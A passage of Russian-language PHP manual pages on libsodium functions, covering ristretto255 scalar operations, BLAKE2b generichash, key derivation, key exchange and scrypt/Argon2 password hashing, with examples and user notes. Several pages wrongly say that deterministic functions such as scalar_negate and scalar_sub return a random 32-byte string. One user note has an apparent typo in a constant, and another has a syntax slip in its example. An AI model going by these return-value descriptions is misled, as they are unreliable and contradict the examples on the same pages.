sodium_crypto_core_ristretto255_scalar_negate

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_negate — Отменяет скалярное значение

Описание

sodium_crypto_core_ristretto255_scalar_negate(string $s): string

Отменяет скалярное значение. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

s

Скалярное значение.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_scalar_negate()

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();

$negate = sodium_crypto_core_ristretto255_scalar_negate($foo);
$reNegate = sodium_crypto_core_ristretto255_scalar_negate($negate);

var_dump(hash_equals($foo, $reNegate));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_random() - Генерирует случайный ключ

User Contributed Notes

There are no user contributed notes for this page.


Генерирует случайный ключ

  • « sodium_crypto_core_ristretto255_scalar_negate
  • sodium_crypto_core_ristretto255_scalar_reduce »
  • PHP Manual
  • Функции Sodium
  • Генерирует случайный ключ

sodium_crypto_core_ristretto255_scalar_random

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_random — Генерирует случайный ключ

Описание

sodium_crypto_core_ristretto255_scalar_random(): string

Генерирует случайный ключ. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_scalar_random()

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();
$bar = sodium_crypto_core_ristretto255_scalar_random();

$value = sodium_crypto_core_ristretto255_scalar_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_scalar_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_add() - Добавляет скалярное значение
  • sodium_crypto_core_ristretto255_scalar_sub() - Вычитает скалярное значение

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает скалярное значение

  • « sodium_crypto_core_ristretto255_scalar_random
  • sodium_crypto_core_ristretto255_scalar_sub »
  • PHP Manual
  • Функции Sodium
  • Уменьшает скалярное значение

sodium_crypto_core_ristretto255_scalar_reduce

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_reduce — Уменьшает скалярное значение

Описание

sodium_crypto_core_ristretto255_scalar_reduce(string $s): string

Уменьшает скалярное значение. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

s

Скалярное значение.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_random() - Генерирует случайный ключ

User Contributed Notes

There are no user contributed notes for this page.


Вычитает скалярное значение

  • « sodium_crypto_core_ristretto255_scalar_reduce
  • sodium_crypto_core_ristretto255_sub »
  • PHP Manual
  • Функции Sodium
  • Вычитает скалярное значение

sodium_crypto_core_ristretto255_scalar_sub

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_scalar_sub — Вычитает скалярное значение

Описание

sodium_crypto_core_ristretto255_scalar_sub(string $x, string $y): string

Вычитает скалярное значение y из x. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

x

Скаляр, представляющий координату X.

y

Скаляр, представляющий координату Y.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_scalar_sub()

<?php

$foo = sodium_crypto_core_ristretto255_scalar_random();
$bar = sodium_crypto_core_ristretto255_scalar_random();

$value = sodium_crypto_core_ristretto255_scalar_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_scalar_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_scalar_random() - Генерирует случайный ключ
  • sodium_crypto_core_ristretto255_scalar_add() - Добавляет скалярное значение

User Contributed Notes

There are no user contributed notes for this page.


Вычитает элемент

  • « sodium_crypto_core_ristretto255_scalar_sub
  • sodium_crypto_generichash_final »
  • PHP Manual
  • Функции Sodium
  • Вычитает элемент

sodium_crypto_core_ristretto255_sub

(PHP 8 >= 8.1.0)

sodium_crypto_core_ristretto255_sub — Вычитает элемент

Описание

sodium_crypto_core_ristretto255_sub(string $p, string $q): string

Вычитает элемент q из p. Доступно, начиная с libsodium 1.0.18.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

p

Элемент.

q

Элемент.

Возвращаемые значения

Возвращает случайную 32-байтовую строку (string).

Примеры

Пример #1 Пример использования sodium_crypto_core_ristretto255_sub()

<?php

$foo = sodium_crypto_core_ristretto255_random();
$bar = sodium_crypto_core_ristretto255_random();

$value = sodium_crypto_core_ristretto255_add($foo, $bar);
$value = sodium_crypto_core_ristretto255_sub($value, $bar);

var_dump(hash_equals($foo, $value));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • sodium_crypto_core_ristretto255_random() - Генерирует случайный ключ
  • sodium_crypto_core_ristretto255_add() - Добавляет элемент

User Contributed Notes

There are no user contributed notes for this page.


Закончить хеширование

  • « sodium_crypto_core_ristretto255_sub
  • sodium_crypto_generichash_init »
  • PHP Manual
  • Функции Sodium
  • Закончить хеширование

sodium_crypto_generichash_final

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_final — Закончить хеширование

Описание

sodium_crypto_generichash_final(string &$state, int $length = SODIUM_CRYPTO_GENERICHASH_BYTES): string

Метод завершения для потокового API-интерфейса generichash.

Список параметров

state

Состояние хеша, возвращённое sodium_crypto_generichash_init()

length

Длина вывода.

Возвращаемые значения

Криптографический хеш.

Примеры

Пример #1 Пример использования sodium_crypto_generichash_final()

<?php
$messages = [random_bytes(32), random_bytes(32), random_bytes(16)];
$state = sodium_crypto_generichash_init('', 32);
foreach ($messages as $message) {
sodium_crypto_generichash_update($state, $message);
}

$final = sodium_crypto_generichash_final($state, 32);
var_dump(sodium_bin2hex($final));

$allAtOnce = sodium_crypto_generichash(implode('', $messages));
var_dump(sodium_bin2hex($allAtOnce));
?>

Результатом выполнения данного примера будет что-то подобное:

string(64) "a2939a9163cb7c796ec28e01028489e72475c136b2697ea59e3e760ab4a8ab20"
string(64) "a2939a9163cb7c796ec28e01028489e72475c136b2697ea59e3e760ab4a8ab20"

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует хеш для потоковой передачи

  • « sodium_crypto_generichash_final
  • sodium_crypto_generichash_keygen »
  • PHP Manual
  • Функции Sodium
  • Инициализирует хеш для потоковой передачи

sodium_crypto_generichash_init

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_init — Инициализирует хеш для потоковой передачи

Описание

sodium_crypto_generichash_init(string $key = "", int $length = SODIUM_CRYPTO_GENERICHASH_BYTES): string

Метод инициализации для потокового API-интерфейса generichash.

Список параметров

key

Ключ generichash.

length

Ожидаемая длина вывода хеш-функции.

Возвращаемые значения

Возвращает состояние хеша, сериализованное как необработанная двоичная строка.

Примеры

Пример #1 Пример использования sodium_crypto_generichash_init()

<?php
$messages = [random_bytes(32), random_bytes(32), random_bytes(16)];
$state = sodium_crypto_generichash_init('', 32);
foreach ($messages as $message) {
sodium_crypto_generichash_update($state, $message);
}
$final = sodium_crypto_generichash_final($state, 32);
var_dump(sodium_bin2hex($final));
$allAtOnce = sodium_crypto_generichash(implode('', $messages));
var_dump(sodium_bin2hex($allAtOnce));
?>

Результатом выполнения данного примера будет что-то подобное:

string(64) "a2939a9163cb7c796ec28e01028489e72475c136b2697ea59e3e760ab4a8ab20"
string(64) "a2939a9163cb7c796ec28e01028489e72475c136b2697ea59e3e760ab4a8ab20"

User Contributed Notes

There are no user contributed notes for this page.


Создаёт случайный общий хеш-ключ

  • « sodium_crypto_generichash_init
  • sodium_crypto_generichash_update »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный общий хеш-ключ

sodium_crypto_generichash_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_keygen — Создаёт случайный общий хеш-ключ

Описание

sodium_crypto_generichash_keygen(): string

Создаёт случайный ключ для использования с API generichash.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Случайный 256-битный ключ.

User Contributed Notes

There are no user contributed notes for this page.


Добавить сообщение к хешу

  • « sodium_crypto_generichash_keygen
  • sodium_crypto_generichash »
  • PHP Manual
  • Функции Sodium
  • Добавить сообщение к хешу

sodium_crypto_generichash_update

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash_update — Добавить сообщение к хешу

Описание

sodium_crypto_generichash_update(string &$state, string $message): true

Добавляет сообщение к внутреннему хеш-состоянию.

Список параметров

state

Возвращаемое значение sodium_crypto_generichash_init().

message

Данные для добавления в состояние хеширования.

Возвращаемые значения

Функция всегда возвращает true.

Примеры

Пример #1 Пример использования sodium_crypto_generichash_update()

<?php
$messages = [random_bytes(32), random_bytes(32), random_bytes(16)];
$state = sodium_crypto_generichash_init();
foreach ($messages as $message) {
sodium_crypto_generichash_update($state, $message);
}
$final = sodium_crypto_generichash_final($state);
var_dump(sodium_bin2hex($final));

$allAtOnce = sodium_crypto_generichash(implode('', $messages));
var_dump(sodium_bin2hex($allAtOnce));
?>

Результатом выполнения данного примера будет что-то подобное:

string(64) "e16e28bbbbcc39d9f5b1cbc33c41f1d217808640103e57a41f24870f79831e04"
string(64) "e16e28bbbbcc39d9f5b1cbc33c41f1d217808640103e57a41f24870f79831e04"

User Contributed Notes

There are no user contributed notes for this page.


Получить хеш сообщения

  • « sodium_crypto_generichash_update
  • sodium_crypto_kdf_derive_from_key »
  • PHP Manual
  • Функции Sodium
  • Получить хеш сообщения

sodium_crypto_generichash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_generichash — Получить хеш сообщения

Описание

sodium_crypto_generichash(string $message, string $key = "", int $length = SODIUM_CRYPTO_GENERICHASH_BYTES): string

Хеширует сообщение с помощью BLAKE2b.

Список параметров

message

Хешируемое сообщение.

key

(Необязательный) криптографический ключ. Он выполняет ту же функцию, что и ключ HMAC, но используется как зарезервированный раздел внутреннего состояния BLAKE2.

length

Размер вывода.

Возвращаемые значения

Криптографический хеш в виде необработанных байтов. Если желателен вывод в шестнадцатеричном коде, результат можно передать в sodium_bin2hex().

User Contributed Notes

There are no user contributed notes for this page.


Извлечь подраздел

  • « sodium_crypto_generichash
  • sodium_crypto_kdf_keygen »
  • PHP Manual
  • Функции Sodium
  • Извлечь подраздел

sodium_crypto_kdf_derive_from_key

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kdf_derive_from_key — Извлечь подраздел

Описание

sodium_crypto_kdf_derive_from_key(
int $subkey_length,
int $subkey_id,
string $context,
string $key
): string

Получает подраздел из корневого ключа и дополнительного контекста.

Похожа наhash_hkdf().

Список параметров

subkey_length

Длина возвращаемого ключа (в байтах)

subkey_id

Вернуть подключ n из заданного корневого ключа. Полезно для поиска.

context

Контекст, зависящий от приложения.

key

Корневой ключ, из которого получен подключ.

Возвращаемые значения

Строка псевдослучайных (необработанных двоичных) байтов.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт случайный корневой ключ для интерфейса KDF

  • « sodium_crypto_kdf_derive_from_key
  • sodium_crypto_kx_client_session_keys »
  • PHP Manual
  • Функции Sodium
  • Создаёт случайный корневой ключ для интерфейса KDF

sodium_crypto_kdf_keygen

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kdf_keygen — Создаёт случайный корневой ключ для интерфейса KDF

Описание

sodium_crypto_kdf_keygen(): string

Создаёт случайный ключ, подходящий для использования в качестве корневого ключа для sodium_crypto_kdf_derive_from_key().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Случайный 256-битный ключ.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет ключи сессии на стороне клиента

  • « sodium_crypto_kdf_keygen
  • sodium_crypto_kx_keypair »
  • PHP Manual
  • Функции Sodium
  • Вычисляет ключи сессии на стороне клиента

sodium_crypto_kx_client_session_keys

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_client_session_keys — Вычисляет ключи сессии на стороне клиента

Описание

sodium_crypto_kx_client_session_keys(string $client_key_pair, string $server_key): array

Вычисляет ключи сеанса на стороне клиента, используя метод обмена ключами X25519 + BLAKE2b.

Список параметров

client_key_pair

Пара ключей crypto_kx, например, сгенерированная sodium_crypto_kx_keypair().

server_key

Открытый ключ crypto_kx.

Возвращаемые значения

Массив, состоящий из двух строк. Первую следует использовать для приёма данных с сервера. Вторую следует использовать для отправки данных на сервер.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую пару ключей sodium

  • « sodium_crypto_kx_client_session_keys
  • sodium_crypto_kx_publickey »
  • PHP Manual
  • Функции Sodium
  • Создаёт новую пару ключей sodium

sodium_crypto_kx_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_keypair — Создаёт новую пару ключей sodium

Описание

sodium_crypto_kx_keypair(): string

Создать новую пару ключей sodium, состоящую из секретного ключа (32 байта) и следующего за ним открытого ключа (32 байта). Ключи можно получить, вызвав sodium_crypto_kx_secretkey() и sodium_crypto_kx_publickey() соответственно.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает новую пару ключей в случае успешного выполнения; выбрасывает исключение в противном случае.

Примеры

Пример #1 Пример использования sodium_crypto_kx_keypair()

Создать новую пару ключей и извлечь из неё секретный и открытый ключи.

<?php
$keypair = sodium_crypto_kx_keypair();
$secret = sodium_crypto_kx_secretkey($keypair);
$public = sodium_crypto_kx_publickey($keypair);
printf("секретный ключ: %s\nоткрытый ключ: %s", sodium_bin2hex($secret), sodium_bin2hex($public));
?>

Результатом выполнения данного примера будет что-то подобное:

секретный ключ: e7c5c918fdc40762e6000542c0118f4368ce8fd242b0e48c1e17202797a25daf
открытый ключ: d1f59fda8652caf40ed1a01d2b6f3802b60846986372cd8fa337b7c12c428b18

User Contributed Notes

There are no user contributed notes for this page.


Извлекает открытый ключ из пары ключей crypto_kx

  • « sodium_crypto_kx_keypair
  • sodium_crypto_kx_secretkey »
  • PHP Manual
  • Функции Sodium
  • Извлекает открытый ключ из пары ключей crypto_kx

sodium_crypto_kx_publickey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_publickey — Извлекает открытый ключ из пары ключей crypto_kx

Описание

sodium_crypto_kx_publickey(string $key_pair): string

Извлекает открытый ключ из пары ключей crypto_kx.

Список параметров

key_pair

Пара ключей X25519, например, сгенерированная sodium_crypto_kx_keypair().

Возвращаемые значения

Открытый ключ X25519.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает секретный ключ из пары ключей crypto_kx

  • « sodium_crypto_kx_publickey
  • sodium_crypto_kx_seed_keypair »
  • PHP Manual
  • Функции Sodium
  • Извлекает секретный ключ из пары ключей crypto_kx

sodium_crypto_kx_secretkey

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_secretkey — Извлекает секретный ключ из пары ключей crypto_kx

Описание

sodium_crypto_kx_secretkey(string $key_pair): string

Извлекает секретный ключ из пары ключей crypto_kx.

Список параметров

key_pair

Пара ключей X25519, например, сгенерированная sodium_crypto_kx_keypair().

Возвращаемые значения

Секретный ключ X25519.

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « sodium_crypto_kx_secretkey
  • sodium_crypto_kx_server_session_keys »
  • PHP Manual
  • Функции Sodium
  • Описание

sodium_crypto_kx_seed_keypair

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_seed_keypair — Описание

Описание

sodium_crypto_kx_seed_keypair(string $seed): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

seed

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет ключи сессии на стороне сервера

  • « sodium_crypto_kx_seed_keypair
  • sodium_crypto_pwhash_scryptsalsa208sha256_str_verify »
  • PHP Manual
  • Функции Sodium
  • Вычисляет ключи сессии на стороне сервера

sodium_crypto_kx_server_session_keys

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_kx_server_session_keys — Вычисляет ключи сессии на стороне сервера

Описание

sodium_crypto_kx_server_session_keys(string $server_key_pair, string $client_key): array

Вычисляет ключи сессии на стороне сервера, используя метод обмена ключами X25519 + BLAKE2b.

Список параметров

server_key_pair

Пара ключей crypto_kx, например, сгенерированная sodium_crypto_kx_keypair().

client_key

Открытый ключ crypto_kx.

Возвращаемые значения

Массив, состоящий из двух строк. Первую следует использовать для получения данных от клиента. Вторую следует использовать для отправки данных клиенту.

User Contributed Notes

There are no user contributed notes for this page.


Проверить, что пароль является действительной строкой проверки пароля

  • « sodium_crypto_kx_server_session_keys
  • sodium_crypto_pwhash_scryptsalsa208sha256_str »
  • PHP Manual
  • Функции Sodium
  • Проверить, что пароль является действительной строкой проверки пароля

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify — Проверить, что пароль является действительной строкой проверки пароля

Описание

sodium_crypto_pwhash_scryptsalsa208sha256_str_verify(string $hash, string $password): bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

hash

password

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить закодированный в ASCII хеш

  • « sodium_crypto_pwhash_scryptsalsa208sha256_str_verify
  • sodium_crypto_pwhash_scryptsalsa208sha256 »
  • PHP Manual
  • Функции Sodium
  • Получить закодированный в ASCII хеш

sodium_crypto_pwhash_scryptsalsa208sha256_str

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256_str — Получить закодированный в ASCII хеш

Описание

sodium_crypto_pwhash_scryptsalsa208sha256_str(string $password, int $opslimit, int $memlimit): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

password

opslimit

memlimit

Возвращаемые значения

User Contributed Notes

spam at tonycast dot com 15-May-2018 06:47
<?php
/* Example Hash Generation */

    const PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
    const PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;

$hash_str = sodium_crypto_pwhash_scryptsalsa208sha256_str('password123', PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE, PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE);

print_r($hash_str);

//outputs:  $7$C6..../....ZwhNJoHcE/5yzM05gk67R2IOAp9XjD3X2gTNRpUlg92$YBwEfrN19OUo9dZG7LPSanCmjwYg.JgOEN4E75qrXG6


Получает ключ из пароля, используя scrypt

  • « sodium_crypto_pwhash_scryptsalsa208sha256_str
  • sodium_crypto_pwhash_str_needs_rehash »
  • PHP Manual
  • Функции Sodium
  • Получает ключ из пароля, используя scrypt

sodium_crypto_pwhash_scryptsalsa208sha256

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_scryptsalsa208sha256 — Получает ключ из пароля, используя scrypt

Описание

sodium_crypto_pwhash_scryptsalsa208sha256(
int $length,
string $password,
string $salt,
int $opslimit,
int $memlimit
): string

Аналог функции scrypt sodium_crypto_pwhash().

Распространённая причина использования этой конкретной функции - получить начальные числа для криптографических ключей из пароля и соли, а затем использовать эти начальные числа для генерации фактических ключей, необходимых для некоторых целей (например, sodium_crypto_sign_detached()).

Список параметров

length

Длина генерируемого хеша пароля в байтах.

password

Пароль, для которого создаётся хеш.

salt

Соль, которую нужно добавить к паролю перед хешированием. Соль должна быть непредсказуемой, в идеале сгенерированной из хорошего источника случайных чисел, такого как random_bytes(), и иметь длину не менее SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES байт.

opslimit

Представляет максимальное количество вычислений для выполнения. Увеличение этого числа приведёт к тому, что функции потребуется больше циклов ЦП для вычисления ключа. Доступны некоторые константы для установки предела операций на соответствующие значения в зависимости от предполагаемого использования, в порядке размера: SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE и SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE.

memlimit

Максимальный объем ОЗУ, который будет использовать функция, в байтах. Существуют константы, которые помогут вам выбрать подходящее значение в порядке их размера: SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE and SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE. Обычно они должны сочетаться с соответствующими значениями opslimit.

Возвращаемые значения

Строка байтов желаемой длины.

User Contributed Notes

There are no user contributed notes for this page.


Определяет, следует ли повторно использовать пароль

  • « sodium_crypto_pwhash_scryptsalsa208sha256
  • sodium_crypto_pwhash_str_verify »
  • PHP Manual
  • Функции Sodium
  • Определяет, следует ли повторно использовать пароль

sodium_crypto_pwhash_str_needs_rehash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str_needs_rehash — Определяет, следует ли повторно использовать пароль

Описание

sodium_crypto_pwhash_str_needs_rehash(string $password, int $opslimit, int $memlimit): bool

Определяет, следует ли повторно использовать пароль, на основе текущего хеш-значения opslimit и memlimit.

Список параметров

password

Хеш пароля

opslimit

Настроенный opslimit; смотрите sodium_crypto_pwhash_str()

memlimit

Настроенный memlimit; смотрите sodium_crypto_pwhash_str()

Возвращаемые значения

Возвращает true, если предоставленный memlimit/opslimit не соответствует тому, что хранится в хеше. Возвращает false, если они совпадают.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, что пароль соответствует хешу

  • « sodium_crypto_pwhash_str_needs_rehash
  • sodium_crypto_pwhash_str »
  • PHP Manual
  • Функции Sodium
  • Проверяет, что пароль соответствует хешу

sodium_crypto_pwhash_str_verify

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str_verify — Проверяет, что пароль соответствует хешу

Описание

sodium_crypto_pwhash_str_verify(string $hash, string $password): bool

Проверяет, что хеш пароля, созданный sodium_crypto_pwhash_str(), соответствует заданному паролю. Обратите внимание, что в этой функции порядок аргументов не соответствует порядку аргументов в похожей функции password_verify().

Список параметров

hash

Хеш, созданный функцией password_hash().

password

Пользовательский пароль.

Возвращаемые значения

Возвращает true, если пароль соответствует хешу, и false, если нет.

Примечания

Замечание:

Хеши вычисляются с помощью алгоритма Argon2ID, хорошо противостоящему обоим видам атак: GPU и атакам по стороннему каналу.

Смотрите также

  • sodium_crypto_pwhash_str() - Получить ASCII-кодированный хеш
  • password_hash() - Создаёт хеш пароля
  • password_verify() - Проверяет, соответствует ли пароль хешу

User Contributed Notes

There are no user contributed notes for this page.


Получить ASCII-кодированный хеш

  • « sodium_crypto_pwhash_str_verify
  • sodium_crypto_pwhash »
  • PHP Manual
  • Функции Sodium
  • Получить ASCII-кодированный хеш

sodium_crypto_pwhash_str

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash_str — Получить ASCII-кодированный хеш

Описание

sodium_crypto_pwhash_str(string $password, int $opslimit, int $memlimit): string

Использует ресурсоёмкий по ЦПУ и памяти алгоритм хеширования. Соль генерируется случайно. Можно задать ограничения по использованию памяти и ЦПУ. Можно использовать для генерации ASCII-хешей, подходящих для хранения паролей.

Список параметров

password

string; Пароль, для которого будет генерироваться хеш.

opslimit

Задаёт ограничение на использование процессорного времени. Чем больше число - тем больше будет нагрузка на процессор при генерации ключа. Также можно использовать предопределённые константы для этого параметра (перечислены в порядке усиления защищённости и потребления ЦПУ): SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE и SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE.

memlimit

Задаёт ограничение на использование памяти в байтах. Можно использовать предопределённые константы для этого параметра (перечислены в порядке усиления защищённости и потребления памяти): SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE и SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE. Имеет смысл использовать одинаковые уровни защищённости в memlimit и opslimit.

Возвращаемые значения

Возвращает хеш пароля.

Для того, чтобы для одного и того же пароля всегда генерировался один и тот же хеш, необходимо использовать одинаковые значения opslimit и memlimit. Так как эти параметры включены в сгенерированный хеш, функция sodium_crypto_pwhash_str_verify() может проверять его корректность без необходимости хранить эти параметры отдельно.

Примеры

Пример #1 Пример использования sodium_crypto_pwhash_str()

<?php
$password = 'password';
echo sodium_crypto_pwhash_str(
$password,
SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE,
SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE
);

Результатом выполнения данного примера будет что-то подобное:

$argon2id$v=19$m=65536,t=2,p=1$oWIfdaXwWwhVmovOBc2NAQ$EbsZ+JnZyyavkafS0hoc4HdaOB0ILWZESAZ7kVGa+Iw

Примечания

Замечание:

Хеши вычисляются с помощью алгоритма Argon2ID, устойчивого для атак стороннего канала и GPU. В отличие от функции password_hash(), у этой функции нет параметра salt (он генерируется автоматически), а параметры opslimit и memlimit являются обязательными.

Смотрите также

  • sodium_crypto_pwhash_str_verify() - Проверяет, что пароль соответствует хешу
  • sodium_crypto_pwhash() - Получает ключ из пароля, используя Argon2
  • password_hash() - Создаёт хеш пароля
  • password_verify() - Проверяет, соответствует ли пароль хешу
  • » Документация на Libsodium Argon2

User Contributed Notes

marcus at synchromedia dot co dot uk 23-Mar-2021 08:51
If you want to ensure that the hashes you generate with sodium_crypto_pwhash_str are compatible with those generated by password_hash, you need to keep an eye on that memory setting. According to the docs, the password_hash memory_cost param is given in "kibibytes", whereas sodium_crypto_pwhash_str uses bytes. I did some experiments to see what the difference is and ran into this:

echo password_hash('password',
                   PASSWORD_ARGON2ID,
                   [
                       'memory_cost' => 15000,
                       'time_cost'   => 26,
                       'threads'     => 1,
                   ];

echo sodium_crypto_pwhash_str(
        'password', 26,
        15000000);

These result in:
$argon2id$v=19$m=15000,t=26,p=1$VG5MSkhUdEdFaGwyVG5sWA$laRHogIVAnC4ggLI8RdCDWlITTdicrdq0tK6SHGf4CI
$argon2id$v=19$m=14648,t=26,p=1$ClQ37/z9u7K6V1C2bkD4QA$51m8KhQQ9gujFSF+JyQR9d5QesayJiKsFmDU4HnGBHg

Notice that the "m=" numbers are different, and also different from what we asked for. It's down to the "kibibytes" unit. If we multiply the 15000 we used for password_hash by 1,024 instead of 1,000, we get 15,360,000, and using that number gives us the expected hash params:

echo sodium_crypto_pwhash_str(
        'password', 26,
        15360000);

$argon2id$v=19$m=15000,t=26,p=1$Qz3pWktOvT6X/LvdAk0bgQ$KosSFPfHUtWg+ppyRs3Op5/zIV6F6iy2Q7Gom8wP29c

This should be compatible with password_hash.

Incidentally the numbers I'm using for the Argon2id hash params are taken from the OWASP password guide, which recommend values different from PHP's default: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#argon2id


Получает ключ из пароля, используя Argon2

  • « sodium_crypto_pwhash_str
  • sodium_crypto_scalarmult_base »
  • PHP Manual
  • Функции Sodium
  • Получает ключ из пароля, используя Argon2

sodium_crypto_pwhash

(PHP 7 >= 7.2.0, PHP 8)

sodium_crypto_pwhash — Получает ключ из пароля, используя Argon2

Описание

sodium_crypto_pwhash(
int $length,
string $password,
string $salt,
int $opslimit,
int $memlimit,
int $algo = SODIUM_CRYPTO_PWHASH_ALG_DEFAULT
): string

Эта функция предоставляет низкоуровневый доступ к функции crypto_pwhash библиотеки libsodium. Если у вас нет принципиальной необходимости в этой функции, то лучше использовать sodium_crypto_pwhash_str() или password_hash().

Распространённая причина использования этой конкретной функции - получить начальные числа для криптографических ключей из пароля и соли, а затем использовать эти начальные числа для генерации фактических ключей, необходимых для некоторых целей (например, sodium_crypto_sign_detached()).

Список параметров

length

int; Длина создаваемого хеша пароля в байтах.

password

string; Пароль, для которого создаётся хеш.

salt

Соль, которую нужно добавить к паролю перед хешированием. Соль должна быть непредсказуемой, в идеале генерируемой из хорошего источника случайных чисел, такого как random_bytes(), а также быть длиной не меньше байт, указанных в константе SODIUM_CRYPTO_PWHASH_SALTBYTES.

opslimit

Представляет максимальное количество вычислений для выполнения Увеличение этого числа приведёт к тому, что функции потребуется больше циклов ЦП для вычисления ключа. Существуют константы, доступные для установки предела операций для соответствующих значений в зависимости от предполагаемого использования, в порядке убывания: SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE и SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE.

memlimit

Максимальный объем ОЗУ в байтах, который будет использовать функция. Существуют константы, которые помогут вам выбрать подходящее значение в порядке размера: SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE, SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE и SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE. Как правило, они должны сочетаться с соответствующими значениями opslimit.

algo

